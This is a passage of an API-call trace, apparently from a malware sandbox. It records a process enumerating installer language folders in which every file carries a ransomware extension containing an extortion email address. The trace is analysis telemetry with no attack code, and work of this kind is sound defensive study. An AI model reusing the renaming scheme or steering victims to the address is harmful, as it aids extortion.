	[0152.893] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.894] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3820aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.894] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e3820aa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e3820aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.894] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.894] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.894] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.895] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ee6b6c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1035", cAlternateFileName="")) returned 1
	[0152.895] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.895] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ee6b6c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.897] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ee6b6c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.897] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e3a83aa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed14113, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.897] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ee6b6c6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fb625e1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.897] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.898] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.898] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.898] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1036", cAlternateFileName="")) returned 1
	[0152.898] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.898] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.901] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.901] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ecee038, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ecee038, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.901] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ed3b3fd, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ed3b3fd, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed60663, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.901] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa017e332, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.901] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa017e332, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.901] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.902] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f9e4aab, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1037", cAlternateFileName="")) returned 1
	[0152.902] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.902] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f9e4aab, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.905] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f9e4aab, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.905] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ed3b3fd, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ed3b3fd, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9eeddda8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.905] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9eeb7d84, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9eeb7d84, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.905] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ff1bdcc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.905] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ff1bdcc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.905] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.906] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1038", cAlternateFileName="")) returned 1
	[0152.906] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.906] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x41406d8
	[0153.085] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.085] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9edaca42, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.085] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.086] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa010be4c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.086] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa010be4c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.086] FindClose (in: hFindFile=0x41406d8 | out: hFindFile=0x41406d8) returned 1
	[0153.086] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.086] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1040", cAlternateFileName="")) returned 1
	[0153.087] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.087] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140858
	[0153.088] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1b4a64, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.088] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1664af, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f18c8c2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.089] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f18c8c2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f18c8c2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f18c8c2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.089] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00f678e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.089] FindNextFileW (in: hFindFile=0x4140858, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa00f678e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.089] FindClose (in: hFindFile=0x4140858 | out: hFindFile=0x4140858) returned 1
	[0153.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
